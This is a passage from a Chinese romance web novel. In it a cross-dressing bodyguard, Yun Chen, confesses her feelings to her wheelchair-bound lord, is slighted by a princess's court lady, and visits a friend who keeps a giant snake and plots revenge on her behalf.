两人边走边聊,听完荀戓的讲述,云琛才知道在她失踪的这三个多月,霍帮发生了许多大事。
霍乾念以最不留情面的方式,最彪悍的作风,三个月内大肆扩张,吞并玉家堂口。
更不计代价地拓出与昭国、东炎、西北游牧的商业线,频频与朝中权贵往来,扶持的公主南璃君手眼通天,独霸朝中。
云琛也这才知道,那遍布楠国境内的她的画像,不是她以为的通缉令,而是霍乾念壕无上限的对她的寻找悬赏。
“服了,我见大街小巷都是我的画像,以为我犯啥事被朝廷通缉了呢,我都没敢凑近了看。早知道……”
早知道与严朗分别后,一冒死从东炎偷越边境入楠国,她第一时间就可以去最近的霍帮堂口寻求帮助,便会省去这一个多月赶路的许多风餐露宿。
但这些她不能说,她解释不清她怎么会跑去东炎国。
荀戓安慰地拍拍她的肩,“傻小子,你不说,我们也都猜得到,出去三个多月,吃了不少苦,受了不少罪吧?”
她感慨地点头,仍旧不能多言。
走走停停,二人又聊了一会儿,云琛突然停住脚步,一脸复杂地看着荀戓,“狗哥,我……有事和你说……”
见云琛脸色不寻常,荀戓作出洗耳恭听的样子。
云琛朝四周看了看,见附近没有人,她望向宴席中的霍乾念,不禁眼神一暖。
沉默了一会儿,她低下头,不敢去看荀戓的脸。
“狗哥,我对不住你……我好像……我好像喜欢上少主了……”
她说完,荀戓愣了一下,并没有意外的表情,毕竟他看云琛那点小心思,比云琛看她自己都分明。
荀戓叹气,无奈道:
“这条路会很难,但……”他想说,就凭这次云琛失踪,霍乾念愿意在霍帮不颓之下,以无限赏金寻她,足以证明霍乾念是个可托付的人。
说句敞亮话,霍乾念除了有腿疾这个缺点,其他各方面,无论样貌、家世、性子、手腕……各方面都是人中龙凤,男人里的翘楚。
再说从之前丹蔻那件事可以看出来,他只坏了两条腿,第三条还好着呢,倒也不亏。
可荀戓就是心疼云琛,忍不住叹息:“唉……少主要是个女的就好了,那就万事大吉了……”
云琛嘴角抽动,尴尬道:
“那倒也不必……狗哥,我只把这事告诉了你,因为我真心当你是我哥,我知道你担心我。”
顿了顿,她又眼神一暗,语气彷徨道:
“狗哥,你说,如果我去对少主表明心意,他……会不会吓得要死,以后便厌恶我,疏远我,甚至赶我出府……我好担心,我觉得我不该去对他表明……”
荀戓被云琛这番话震得目瞪口呆,心说:
他娘的没搞错吧??云琛你在说什么鬼??你要是去给霍乾念表白,他还吓一跳??他不放三个月鞭炮齐鸣锣鼓喧天都算他低调!!
看着云琛惆怅的小脸,荀戓忍不住心中哀叹:
唉!小白兔到底还是落入大狐仙的陷阱了!
有句话怎么说的来着?最高端的猎人往往以猎物的姿态出现,是这句吗?
“疯了……我真要疯了……”荀戓憋了半天,舌头翻来覆去,都快在嘴里搅糊涂了,最后也只闷闷地说出这一句。
他琢磨了一下,咬着牙道:“傻孩子,你别急着表明心意,听我的,先吊他一阵再说!”
妈的,荀戓替云琛咽不下这口气。
云琛一脸迷茫,“怎么吊?为什么要吊?”
荀戓郁闷地直挠头,想了半天,他灵光一现,道:
“阿琛,听我的,找到机会,你就对少主说‘在外头这三个月,我偶尔会想到你,一想到你,我就犹豫该不该回霍帮,不回也挺好’。”
云琛不解,眼神更疑惑。
荀戓继续道:“如果少主问你为什么不想回,你就说‘因为少主你在霍帮啊’,说完这句,无论他说什么,你都不要接茬,就吊着他,让他慌,让他猜去!”
荀戓想,既然已经到这份上了,他能帮云琛一把是一把。
他觉得霍乾念像是吃“被吊胃口”那一套的,一般越强势的男人,越对得不到的更上心。
云琛似懂非懂地记下荀戓几句关键字句,酒醒得差不多后,便又和荀戓回到宴席。
刚坐定没一会儿,霍乾念看了眼醉醺醺的众人,对尚且清醒的云琛道:
“推我去湖上走走吧。”
见“机会”这么快就来了,云琛暗暗与荀戓交换眼神,在后者叮咛鼓励的目光中,走去了霍乾念身边。
第83章 表白
北方的湖一到冬天就会结冰。
垂星湖上结着厚厚的冰层,覆着崭新完美的白雪。
云琛推着霍乾念,吱吱呀呀地朝前走,雪花飘落在二人的肩头,破有些共白首的意思。
走了老远,直到湖边的宴席灯火都变得模糊,霍乾念才示意停下。
“少主,我回来的那日,正是玉家刺客杀来的时候。”云琛犹豫了一下,问出了她一直想问的问题:
“那刺客的刀已经贴到你面前了,少主明明可以躲开,为什么不躲?”
霍乾念道:“可能是你三个月不在,我变得迟钝了许多,愣神了吧。”
她摇头,“少主,你在说谎。”
他没有回答,只是轻声笑了。
她蹙起眉头,认真问他:
“那时候,我从少主的眼睛里看见了‘放弃’,少主……你为什么会突然不想活了?”
果然啊,永远是他的云琛最懂他。
那一日,那瞬间,是他霍乾念这辈子屈指可数的一次轻生念头。
虽然只有短短的一瞬,却被她看得明明白白。
为什么在那么多护卫为他出生入死拼杀的时候,他会有一瞬间想放弃呢?
是因为这些年的刺杀实在太多,让他疲于应对?还是因为在阴谋诡计里浮浮沉沉,已置身于不可逃脱的权谋沼泽?
大概都不是。
大概只是因为她失踪了三个月,他食不知味、夜不能寐地熬了三个月吧。
因为人人都可以去寻她,找她,核实关于她的每一个消息。
只有他被禁锢在这小小的轮椅上,从天亮等到天黑,又从天黑盼到黎明。
看着太阳东升西落,时间一点点流逝,他却像截已经腐朽了千万年的木头。
除了在原地等待探子们和亲卫们的回信,他什么都做不了。
他自信于霍帮上下出色的办事能力,绝对不会敷衍马虎,但就是忍不住去问:
“确定吗?真的不是云琛吗?”
“保证没有遗漏?再去核实一遍。”
这种心焦似的痛苦,他熬了三个月。
他多想自己迈开腿去寻她,把这人间搅个天翻地覆,拿刀架在那皇帝老儿的脖子上,逼问她的下落。
可他做不了。
“云琛,我以后不会了,我向你保证。”
他语气坚定,叫她高兴起来,语调雀跃地“嗯”了一声,捧起脚下的雪,团成一个拳头大小的雪球,跑到不远处停下,笑道:
“少主一言既出驷马难追,若食言,便挖个雪坑给少主埋起来。”
他失笑,“怎么,你要和我打雪仗?我可跑不掉。”
她跑回来将雪球塞到他手里,然后又跑远,欢快地招手:
“你打我呗?打得中我,我便输你一个脑瓜崩!”
于是,她一面躲避着他精准无比的雪球袭击,一面还要团了雪球给他续上。
她一会跑近,一会又跑远,忙得不亦乐乎。
最后,他将一个小雪球落在她发顶,雪花纷纷扬扬,碎落在她眉毛和睫毛上,衬得她鹿眼灵动,像个雪里的精灵。
他温柔地笑,招手:“过来,我给你拍拍。”
她听话地走过去蹲下,由他轻拍发顶,又拭去她眉眼上的雪花。
指背轻轻抚摸过她的眉尾,停在她鬓角很久,他能隐约感觉到她脸颊上细小的绒毛,挠得他心里直发痒。
见她手冻得通红,他先用手帕仔细擦净她手心雪,然后才从轮椅下方掏出一双鹿绒手套,为她戴上。
整个过程,他一直就势握着她的手,直到捂暖和。
她举起两只手晃悠,看着精致漂亮却鼓鼓囊囊的手套,说道:
“少主,手套很暖和,可影响我拿剑。”
他像是一瞬间想起很多往事,看着她,缓缓摇头,坚定道:
“不,云琛,从今往后,拿剑这种事,有其他亲卫在。”
她会错了意,立马单膝跪下,急道:
“少主!你还是对我失踪的三个月疑心了吗?我真的没有背叛你,我只是不能说,说了会对你有危险的!少主,你不要我这个亲卫了吗?”
他再也控制不住,瞬间将所有理智抛到脑后,将所有顾虑丢去万里。
尽管怕她会惊,会闪躲,他还是不顾一切地俯下身,靠近那急切得快要溢出泪光的小脸,一把将她拥入怀中。
低头埋首在她耳畔颈窝,他拥着她,却不敢用力,心脏狂跳着,恨不能跳出胸膛来给她看。
“琛儿,我怎会不要你……怎会……”
她身子仍在他怀中,仰起头愣愣地看着他。
“少主……”她用最后一丝理智想起荀戓的话,痴痴地望着他,“少主,在外面这三个月,我偶尔会想,要不要离开霍帮……在霍帮挺好的……”
他定定地注视着她的眼睛,声音磁性又低缓,带着惑人心神的力量,问:
“然后呢?”
“然后……然后我就回来了……”她被那好听的声音撩得大脑混乱,开始语无伦次。
他嘴角不可抑制地飞扬起来,“为什么?”
“因为少主你在霍帮。”
她话音落下,他登时神色一怔。
接着,犹如金阳当空,照得垂星湖破冰生春,他露出一个她从没见过的、不加任何掩饰的灿烂笑容:
“你这是在对我表明心意吗?”
她又窘又慌,赶忙摇头否认,却又硬生生忍住心里的怯懦,迎着他的目光看去,用力地点头,接着又使劲儿地摇头。
小脑袋拨浪鼓一样摇来晃去,看得他朗朗笑起,只觉得她好笑又可爱。
终于松开拥抱着她的手,他重新靠坐回椅子,努力收敛神色,道:
“我想扶你来着,扶不动,你自己起来吧。”
她傻傻地站起身,心里一阵兵荒马乱,不知自己到底是该点头还是摇头。
云琛怕若点头,便必须要说出女扮男装的骇人事实,恐怕还要对过往混迹男人堆的一切“越描越黑”,只怕今后他便会厌弃她。
可让她摇头,她又着实觉得违心。
再看霍乾念这边,他狠狠压制住心里的躁动,像用尽全力才能拦住要脱缰的马。
看着她脸红却眉蹙,点头又摇头的纠结模样,他不断地对自己说:
差一点,就差最后一点。
不急,不急。
第84章 菘蓝奉香
云琛回归,霍帮对外只说“亲卫携账本离开,而后卧底对手,又携账本和对家的机密冒死回来了”。
在霍乾念的授意下,一个比一个精彩又胡扯的故事传出霍府。
平息了霍帮一场“赏金无限寻小小护卫”的大戏。
霍乾念没有说,但南璃君何等聪慧,又了解皇帝,心下猜了七七八八,知道云琛失踪大约与皇帝有关,起因还是她撺掇云琛去做战舞惹的祸。
再加上已见识云琛对霍乾念的重要性,故而一听说云琛回来,南璃君便第一时间派身边的大女官菘蓝携礼登门。
作为南璃君身边最心腹的大女官,菘蓝的到来,不亚于公主本人亲临。
霍府摆出宴席迎接,霍乾念,霍阾玉,甚至连霍老爷子都出席了宴席。
有霍老爷子在,便轮不到霍乾念拘着云琛。
菘蓝坐在主位,六个宫人和两个侍卫随在一旁;霍老爷子带着云琛居右,霍乾念与霍阾玉居左。
经过不疼不痒的官方开场,菘蓝动筷,众人才吃起来。
霍老爷子第一筷子先挑了半只鸡,放到云琛碗里,哄道:
“乖囡囡,多吃点,瞧这瘦得人心疼,我那不成器的霍家娃儿的心都在你身上呢,你可得好好的!”
被叫“霍家娃儿”的霍乾念和霍阾玉,都以为是在说自己,纷纷低头吃饭,没有接茬言语。
菘蓝看着这老不老,少不少,护卫还能上桌吃饭的奇怪规矩,硬是凭着她大女官的职业操守,才没有笑出声。
但吃着吃着,菘蓝便发现一个有意思的现象。
每当她引起什么可交谈打趣的话题时,霍老爷子都会疼惜地看着云琛。
云琛则不自觉地看向霍乾念,后者不动声色,不予回应,但一旁的霍阾玉却会目光柔情地看过来。
真是乱七八糟的一家子,菘蓝撇嘴,忍不住生出两分轻视,又赶紧举起茶杯掩饰,恢复如常的官腔面貌。
用宴结束,众人移步中堂,里面早已摆好香炉和金器,巴掌大小的玉罐摆了满满一桌,盛着上百种香粉。
菘蓝坐定在案桌前,姿态优雅地净手、挽袖。
她打开香炉盖,拿起金制的香筷,将炉中雪白的香炉灰梳理均匀,而后拿起丝绸香巾,轻轻拭去香筷上沾的香灰,将香筷放回香筒,又伸出玉指,捡起灰压,耐心地、细致地一点点将香灰压平实。
而后放香篆、调香粉、打莲花、起篆、引线香……
菘蓝动作轻盈而平稳,熟练地做着那繁琐又细致的步骤,拿着比指甲盖还小的香勺,一下颤动都没有。
云琛儿时见过家中香师制香,知道菘蓝定然是打香的高手。
加之菘蓝样貌十分出挑,一双聪慧的眼睛显露出机敏。
云琛不觉看着菘蓝入了迷,却又留意到菘蓝满头精致珠钗,层层繁复交叠在漂亮的发式上,衬得一头长发飘飘,好看极了。
那水滴样的玉耳坠,随着菘蓝的动作盈盈轻摆,轻巧地打在菘蓝妆容精致的脸颊。
和云琛不同,菘蓝的手腕皓白纤弱,晶莹剔透的镯子挂在上面,好像白雪压着轻枝,不堪承受一般。
她的水葱似的手指修长白嫩,精心修剪的指甲染着粉蔻色,看着干干净净,香香的。
云琛是个很少生怯的人,但此刻看着宛如仙女的菘蓝,再看看不修边幅、一日未学过做女儿家的自己,她第一次感到自卑,下意识看向霍乾念,却发现霍乾念正目不转睛地看着菘蓝,目光透出欣赏。
心里隐隐发酸,云琛低头不再去看。
“奉一炉香与霍少主,以表公主心意。”菘蓝声音柔婉地说。
趁菘蓝与霍乾念开始交谈的空档,霍老爷子凑近云琛,低声道:
“放心,客套而已,乾念瞧不上这些个扭扭捏捏没用的玩意儿!”
云琛知道,霍老爷子又犯糊涂,把她当成未过门的儿媳妇了。
不多时,菘蓝奉香结束。
霍乾念要与菘蓝议事,霍老爷子便叫云琛护送他回院。
霍老爷子刚一起身,霍阾玉就说要一同回去。
霍乾念没有多说什么,倒是霍老爷子不着痕迹地叹了口气。
一路上,霍老爷子与云琛在前,霍阾玉走在二人身后。
看着云琛三个多月未见的笔挺清瘦的背影,霍阾玉眼睛有点湿润。
小月儿偷偷将帕子塞进霍阾玉手里,悄声道:
“小姐,快擦擦,别让人看见了。”
云琛倒不知霍阾玉如何,只是感觉后背有刺,盯得她好生难受。
走过一处小花园时,云琛忽听身后“哎呀”一声,珠钗乱碰,像是霍阾玉崴了脚。
她下意识转身后退,垂首不去看,远远地避开嫌。
霍阾玉神色失望,霍老爷子却愈加高兴,看向云琛的眼神又多两分赞许。
“云琛,乾念那里差事多,你回去忙吧。”霍老爷子说。
霍阾玉忍着脚痛,急忙起身看向云琛,刚想开口,却被霍老爷子一道严肃目光制止住,不敢说话。
待云琛走远,霍老爷子屏退左右,无奈道:
“阾玉,云琛非你良配。”
霍阾玉顿时脸上青白交加,眼泪在眼眶里直打转。
她咬着嘴唇,想要解释些什么,霍老爷子又道:
“云琛对你只是尽护卫之责,换作任何一个主子,她都会倾心尽力相护,这是她为人如此。”
霍阾玉声音发颤:“我知道……他对我,对哥哥,对爹您,都是一样的……”
霍老爷子摇头叹息,“不,云琛对你哥哥不一样,明白吗?”
霍阾玉神色震惊,难以置信地看着霍老爷子,片刻后却又松下一口气,不知是在安慰霍老爷子,还是安慰她自己,喃喃道:
“差点忘了,爹这些年糊涂了,云琛和哥哥怎么可能……爹,我送您回去吧!”
霍老爷子被噎得说不出话。
他回想起三十年多年前的光景,那般强盛的前朝,如今却废墟已成烟土,人与事不堪回首,连曹放都成了和他一样的糟老头子……
朝代更迭总是伴着无数英雄豪杰的流血牺牲,也将无数秘密掩埋其中。
比如人们津津乐道的前朝大人物,女扮男装,统率九军,何其潇洒快活!
他至今还清晰地记得,三十多年前,他被任命为玄甲军骁骑营大将军的那一日。
那高座之上,一身白衣气势阴盛逼人,阴柔如书生,却又盛气如无畏少年,一双阴冷含杀的眼睛,凌驾在前朝辉煌的巅峰。
直到后来,再在楠国金殿上见到时,那大人物却已褪去男装,成了楠国皇后。
他这才知道,初见时的那“阴柔又盛气”,竟然是女扮男装之人的特点。
故而第一次见到云琛时,他瞬间就察觉出云琛身上那种微妙的气质。
他虽笃定自己的判断,却无法对霍阾玉言说分明。
“唉,剪不断,理还乱呐……”霍老爷子幽幽长叹。
第85章 屏鸟
云琛送完霍老爷子回来,发现栖云居空着,一问叶峮才知道,霍乾念与菘蓝去水榭赏雪了。
叶峮并没有安排云琛前去护卫,但云琛还是自己去了。
隔着远远的廊台栈道,云琛瞧见霍乾念与菘蓝坐在亭下,二人品茶赏雪,交谈言事。
菘蓝间或笑起,以帕巾掩口,动作贵气又典雅。
霍乾念大多时候只喝茶、看远方,听到菘蓝说话,他时而点头,时而皱眉。
少部分的时候,霍乾念会看向菘蓝。
虽然只是以示尊重的眼神,可云琛就是觉得心里酸得冒烟。
她想,那天垂星湖上,她是不是应该勇敢点头的。
她想,少主大约也有些喜欢我吧,他总是摸我的头,还唤了我一声“琛儿”。
除了娘亲,已八年未有人这样唤过我了……
可那些是对我吗,还只是一个主子对亲卫的疼惜?就和对叶峮他们是一样的?
思来又想去,云琛感觉脑袋像要炸了一样,她甚少有需要思考这么复杂的事情的时候。
她也突然发现,自己原来并不是个爽快不计较的性子。
如今一碰到与霍乾念有关,她就忍不住开始小心眼,心里麻辣鲜香搅和不停,酸味尤甚。
难道喜欢一个人就是这样?
“云琛啊云琛,你怎么变成这样了啊……”她喃喃自语,叫一旁的不言听得糊里糊涂。
“云琛啊云琛,你把话说清楚些。”
不言学着她的语气念叨,然后顺着云琛的视线望去,正见霍乾念与菘蓝一前一后离开水榭。
菘蓝轻提裙摆,袅袅婷婷走在前,身后轻纱罗裙的宫女们如绿叶一般,衬托得菘蓝更加端庄艳丽。
不言突然想起从前叶峮说过的,云琛估计是看上哪家姑娘了,一下子恍然大悟,心里道了句“原来如此”。
一反常态的,不言没有多言,而是在两天之后,霍乾念命他去公主府送一份机密信函的时候,他偷偷将信函交给云琛,悄声道:
“阿琛,按理我不该把差事转手给你的,这是咱做护卫的大忌,但你办差我放心,所以你悄悄地去。抓紧机会,将来喝喜酒的时候多敬我一杯啊!”
云琛一头问号,但见不言神神秘秘又催促得紧,她只好揣着信往公主府走。
霍府与公主府书信往来密切,云琛经常来,守门的侍卫也认得这个爱脸红的俊俏小护卫。
一见云琛,一个侍卫笑道:
“云小子,递信还是带话?找哪位女官?”
云琛问了声安,道:“大哥,我递信,不带话,但是得亲手交给菘蓝女官。”
“哟呵,平时都是由我们带给女官们的尚仪局,今儿还得你亲自跑一趟,专给菘蓝大人呀?”
云琛笑笑,“我也不知道,听命办差就是。”
侍卫照旧接过云琛的令牌,而后搜身卸剑,这才对云琛放行。
临走的时候,那侍卫凑近云琛,悄悄嬉笑:
“云小子,我怎么听说你会娶菘蓝大人?到时候可得请我喝喜酒啊!”
“啊?!”云琛惊讶,连连否认,那侍卫却只拍拍云琛的肩,和另外两个侍卫哈哈大笑起来。
云琛不知这又是哪里来的谣言,赶紧离开这处,揣着信往里走。
在尚仪局门口通报了来由,等了约莫一个时辰,才有女官来引云琛进去。
公主府不比霍府自在,云琛站的腿有点酸。
随着女官进了尚仪局的前厅,又等了一个多时辰,菘蓝才在几个女官的簇拥下款款而来。
“见过大人。”云琛行礼。
菘蓝既不说话,也不抬眼看云琛,只缓缓走到高座坐定,慢悠悠地轻押一口茶,而后才道:
“云护卫有礼了。什么信,竟要劳烦云护卫亲自给我?”
云琛将信呈上,一旁的女官接过,双手捧给菘蓝。
菘蓝伸着纤长的手指,粉蔻流盈的指甲闪着光泽。她动作轻柔地将信拆开,扫了两眼,嘴角露出一抹讥笑,又很快平息。
“的确是重要的信函,却不至于云护卫非要亲自见我。云护卫,你是有什么事找我吗?但说无妨。”
云琛只记得不言千叮咛万嘱咐,让她必须亲手将信交给菘蓝,却没有说缘由。
答不上来,云琛只好再次行礼,如实回答:
“回大人,小的也不甚清楚。信已送到,若大人没有其他吩咐,小的告退。”
“呵。”菘蓝笑了一声,声音带着十足的讥诮。
没有菘蓝那句“退下吧”,按规矩,云琛不能自行离去,否则便是大不敬。
云琛保持着行礼的姿态,菘蓝又不紧
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不慢地开始喝茶,直到喝完一盏,才对云琛道:
“既然来了,怎能不请云护卫喝杯茶?来人,赐座。”
云琛不能不从,刚要在下座坐定,却见一个女官搬来木头小杌子,放在她面前。
护卫们在自家府宅坐小杌子很正常,但在外就是客,应被客座礼待才是。
面对这显而易见的轻视,云琛没有多想,自然地坐下。
女官立刻拿托盘端来一盏茶,云琛刚一端起,就觉得杯盏烫手的厉害,她稍一不稳,茶水就泼了出来,茶沫撒在衣服上,有些狼狈。
云琛一手忍着烫端茶,另一只手烫得疼,只能去摸耳朵,两只手倒来倒去,看起来有些滑稽。
一旁有两个女官忍不住笑出声。
菘蓝倒没有笑云琛,但眉色透出几分倨傲,道:
“云护卫尝尝,这是什么茶?”
云琛嘬了一口,除了烫得舌头发麻,喝不出任何味道。
“大人恕罪,小的尝不出。”
菘蓝道:“雾凇凝露,是南岭屏湖之畔,霜刻采摘的新叶。”
“谢大人赐茶,听起来很贵。”云琛认真回道。
菘蓝又问:“云护卫知道南岭屏湖吗?是个一天之内有风霜雨雪的奇景之地,故而才有雾凇凝露这等好茶。”
“回大人,小的不知。”
“屏湖因何得名,你可知?”
“小的不知。”
“因屏鸟得名。屏鸟艳丽,鸣声空灵。若寻到配偶,便要将配偶活活啄死,以配偶鸟羽筑巢,骨肉为食。”
云琛顿时觉得手里的茶有股腥味,喝不下去了。
菘蓝见状笑问:“怎么,云护卫这样见惯杀戮的人,竟也有惧的时候?”
“回大人,倒不是惧,只是觉得这屏鸟恶心得很。”云琛心里怎么想,就怎么说了出来,但听在菘蓝耳朵里,却是别有他意。
菘蓝神色微变,冷笑一声,道了句“送客”。
待云琛走远,瞧着菘蓝一脸愠怒,一旁的女官庄姬上前劝道:
“大人莫和一个上不得台面的小护卫置气,而且瞧他那样,应该是没听懂大人意思,不像是故意顶撞。”
菘蓝鼻子里哼了一声,“不过是给霍乾念两分薄面,我才肯见。但一个不知名的护卫若也想来攀附我,便是找死。”
第86章 阿灵
从公主府出来,云琛一边吹着烫得生疼的手指,一边往城中集市走。
叶峮的夫人胡氏生了个女儿,叶峮高兴得嘴都快咧到天上去了,说满月要请众人吃酒。
云琛琢磨着买份礼物带给她那刚出世的侄女。
结果刚走出去没一会儿,就看到一人正在她回府的必经之路上等着她。
还别说,许久不见颜十九,倒还真有点想念。
虽然知道作为公主手下的大商,颜十九早晚会来京都,但她还是很惊喜。
“颜十九!好久不见!”
喊了一嗓子,她高兴地朝颜十九跑去。
看着那小鸟一样欢快的身影,直直地朝自己奔来,颜十九差点就要张开怀抱去迎接,已经抬起的手在空中硬生生顿住,转而抓住她高束的马尾,使劲拽了拽。
伸手的时候,他手腕上那红色发带编制的手链露出来,在阳光下闪着光泽。
“我可怜的小云儿,去哪里流浪了?我好不容易迁府到京都,你却失踪了,回来也不去找我,我还有宝贝等着给你看呢!”
头发被拽着,她脑袋也跟着一仰。
熟练地锤了他一拳,她道:“为了升级我护卫的本事,我去丛林里单挑大黑熊了,你信不信?”
他微微俯身,凑近她细看两遍,眉眼俱弯,笑道:
“信。我可可爱爱小云云到底跟我学会了说胡话,我喜欢!”
从他手里抢过头发,她重新束好,他却眼尖地发现她十个手指一片通红。
“你的手怎么了?”
她不甚在意:“喝茶来着,茶杯太烫了。”
他原本笑着的眼睛,立刻划过一抹冷色。
“去哪里喝茶了?”
“公主府。”
“公主赐茶?”
“不是,是菘蓝女官,还请我喝的很珍贵的茶,叫那个啥,那个……”想了半天,她才一拍脑袋,“哦!叫那个‘雾凇凝露’。”
他似笑非笑,面色已带着掩不住的冷意,“呵,宫里是惯会用这些小伎俩欺负人的。”
“说得跟你在宫里当过太监似的。”
“哈哈哈哈——”他大笑起来,抽出腰间的折扇,轻轻敲了下她的头,“走,去我府里看看,我有好宝贝给你瞧——”
和霍府讲究传统、格调的府宅风格不同。
颜十九的府邸像是他自己布置的,不伦不类,混搭的肆意又奇怪。
别人家中院都是花园亭台,他府上却是个露天的大厨台,一旁还摆着烧烤架子;
走进前厅,迎面而来的不是桌椅字画的待客布局,而是满屋子绿植、树木、藤蔓……地上连砖都没铺,露着最原始的泥土地。
云琛和猫猫狗狗等一大群小动物挨个打过招呼,使劲抱着大花猫嗅了嗅,才心满意足地撒开手。
颜十九在一旁摸着一只兔子,装模作样地委屈:
“爹无能,抢不来你们娘,可怜你们这些没娘的孩子——”
她斜他一眼,不等她开口,他已自觉捂住嘴,只用鼻音呜呜泱泱、语调起伏地说道:
“我错了,我不胡说了——走,带你看宝贝去——”
还别说,她每个字都听出来了,便随着他往前厅走。
前厅很大,布满草木。空气里是淡淡的泥土腥味,潮乎乎的,有点阴冷。
走到厅尽头,只见一块巨大的黑布罩着一个与屋宇齐高齐平的大铁笼。
他抓住黑布一角,有点忐忑地看着她:
“我要掀开了喔,你别怕——”
她被勾的好奇心大胜,目不转睛地盯着黑布。
他偷笑一声,随即用力扯下黑布。
一瞬间,一双冷冷的目光出现在眼前,狭长的瞳孔与她四目相对。
“嘶——嘶——”
蛇头注视着她,吐了吐信子,缓缓向后退去。
她这才发现这蛇身子足有水桶粗,数丈长的身子盘在一块大石头上,尾巴搭在灌木丛里,不见尽头,看着十分骇人。
更令人惊奇的是,这巨**从头到七寸,全都金光发白的,后面的大半截身子却乌黑乌黑,像是由
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尾朝前染黑似的。
见她愣愣地看着巨**,他有些紧张。
下一刻,她却缓缓靠近笼子,喃喃道:
“太酷了……颜十九,真酷啊!”
“我就知道你不会怕!”他兴奋地叫到,眼睛透出奇异的亮。
她好奇发问:“它原本是黄金**吗?怎么变黑了?”
他解释:“我给它喂的草药,它会慢慢从尾巴开始变黑,不过需要很长时间,已经喂了五六年,还需几年才能全身变黑。”
“厉害,黑色的蛇一般都长不大,能长成**的蛇大都是花色,等你给它染完,那可不得了!天下独一条小黑龙呀!”
他面露得意:“那可不!”
她恍然大悟,“原来你外面养的那么多可可爱爱的小动物,都是为了喂它的啊!”
她抓住笼子铁杆,将脸再贴近些,好奇地打量巨**,“它有名字的吧,叫什么?”
他脸色一僵,“叫阿灵……”
未等他问出口,发现他养了外面那么多小动物,都是为了喂蛇,会不会觉得他很阴森恐怖,就听她又道:
“你下次喂阿灵的时候,留两只兔子给我,我拿回去和叶峮他们烤着吃。”
霎时间,所有僵硬全被融化,他呆了片刻,而后慢慢笑起来,一脸阳光灿烂地应下:
“好!一定给你留!”
深闺出来的小女儿,连杀鱼都没见过,对这巨**还有拿活物喂蛇的情景,自然吓得要死。
曾经阿灵溜出过笼子,活活吓**一个守夜的婢女。
可对云琛这样血海里来,刀山里去,剑下不知杀过多少人的女子来说,区区**蛇何足挂齿。
至于活物喂蛇,对她来说,是这世间人与物的基本法则,她自己就活在这样弱肉强食的世界。
她虽心地纯净,忠贞有义,但这多年的护卫经历早就让她脱胎换骨,全无一点闺阁儿女之态。
说句大实话,杀过人的,和没杀过人的,只站在那里,看着一双眼睛,就足以分辨。
第87章 家犬也配欺负藏獒?
颜十九喜欢云琛那至情至性的纯白里,透着的一股狠劲。
所以他笃定,她是这世间女子里唯一懂他的。
你瞧,甚至无需多说一个字,她什么都明白。
兜兜转转,寻寻觅觅,终于得一知己。
颜十九一股脑地拿出许多他收藏的蛇蜕、蛇牙、蛇骨,通通捧给云琛看。
看着颜十九那满含期待的眼神,活脱脱像一个忐忑的等待表扬的小孩子,她忍不住心里一软:
“颜十九,你曾经说过,你父亲不喜欢你,是因为你喜欢蛇吗?”
他笑意慢慢消失,抱着一个装满蛇牙的小匣子,靠坐在笼子边,目光暗色地望着阿灵。
阿灵正绕着一棵树盘旋而上,巨大的身躯裹得树干噼啪作响。
“小时候,我很喜欢看玉雕匠做珠钗、玉如意,我喜欢看他们将一块普通石头,一点点雕刻成漂亮器物的样子。看得久,我也会了,开始拿木头练手,拿着一柄小小的刻刀,我可以安静地坐一天。”
他顿了顿,脸色愈发晦暗,“父亲生辰那天,我把刻了两个月的玉盆景送给他,本以为他会夸我,今后多疼爱我一些,毕竟在二十多个孩子里,我并不得他上心……可他却当着所有人的面怒斥了我一顿,将玉盆景砸得粉碎,如果不是我母亲拦着,他甚至要冲过来踹我……”
她叹口气,走过去同他一起坐着,安慰地拍拍他的肩。
他接着道:“那天过后,父亲命人搜了我屋子,将所有雕刻的器物通通砸碎,一把火烧了,我便再也没有碰过刻刀。后来,我一个哥哥喜欢养狗,总是叫狗追咬我,我气不过,便养了点蛇,想着克他一克,谁知又被我父亲知道了,竟将我打了十鞭子,连带着训斥了我母亲……”
他眼眶红红地看着她,“刚才你问我,我父亲不喜欢我是不是因为蛇,一开始我也以为。可过了这许多年,我才明白,他只是不喜欢我罢了,我喜欢雕刻,他便要骂,我喜欢蛇,他便要打,就是这样。”
她想起自己小时候受过的委屈,记忆中父亲与娘亲争吵的样子,父亲朝小小的她大吼“闭嘴不许哭!”的凶狠模样。
她感同身受地明白他的痛苦,却只能长叹一口气,认真说:
“别想了,你爹可能属老鼠的,怕蛇,没办法。”
他“扑哧”一声笑了出来,刚积攒起的那点心酸情绪,瞬间消失得无影无踪。
但他还是委屈地撇着嘴,凑近她,拿头去碰她的肩。
“那你能抱我一下不?我这么惨,真的很需要安慰,你抱我一下,我也许会好很多。”
她微笑地看着他:
“我要是你爹,不会因为你喜欢雕刻或者喜欢蛇就打你,但会因为你不要脸揍你。”
“哈哈哈哈哈哈——”
看完阿灵,云琛见天色已渐晚。
她出来时未告假,不敢耽搁太久,急忙和颜十九道别,往外面走。
路过前院的时候,她看见院中架势隆重地摆着酒席,甚至还有杂耍班子在一旁准备表演。
她说了句“颜十九,我还有差事没办,得赶紧走,正好不耽误你待客”,便匆匆而别。
身后,颜十九静静望着她的背影,笑容慢慢落下。
一直到她彻底出府,他才收回眼神,一个人坐在长长的席间,看着一桌子珍馐美味,随意扒拉了两下蜂蜜牛乳酪,又夹起佛跳墙上面的萝卜雕花,咬了一口,低声道:
“没意思。”
一旁,万宸上前请示:“公子,云护卫既然已经回来了,那是不是把我们的人撤回来,不必继续寻了?”
“不急,我准备搞点大动静,替我小云云出个气。”
“公子是说‘菘蓝’?”
颜十九面色泛起阴戾,“啪”地将筷子扔在席上,“一条南璃君身边的家犬而已,也配欺负藏獒?”
万宸再问:“公子的意思是,不光是南璃君,把那菘蓝也带上,是吗?”
颜十九摇头晃脑地哼起小曲,“当然了,得给阿灵加个点心。”
另一边,云琛离开颜府。
看天色实在太晚,已没时间再去集市选礼物,便想等过两日休假的时候,拉上荀戓一起去挑。
想着这件事,云琛去荀戓房里找他,却见荀戓没有像往常一样,趁着休息时间收拾屋子洗衣服,而是在院里支了个小炉
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子熬药。
“狗哥,你怎么了,哪里不舒服?”她问。
荀戓揉了揉右腹,“最近总是肚子疼,吃不下,睡不着的,离府医开诊还早,我就去外面医馆看了下,说是喝酒太多,伤了脾胃,这不,吃点药调调。”
“你找的是正经大夫吧?可别心疼银子,又找那三脚猫大夫!咱们在武馆那年,你一个小风寒差点拖成肺痨,都是那庸医害的,你没忘吧?”她心有余悸地说。
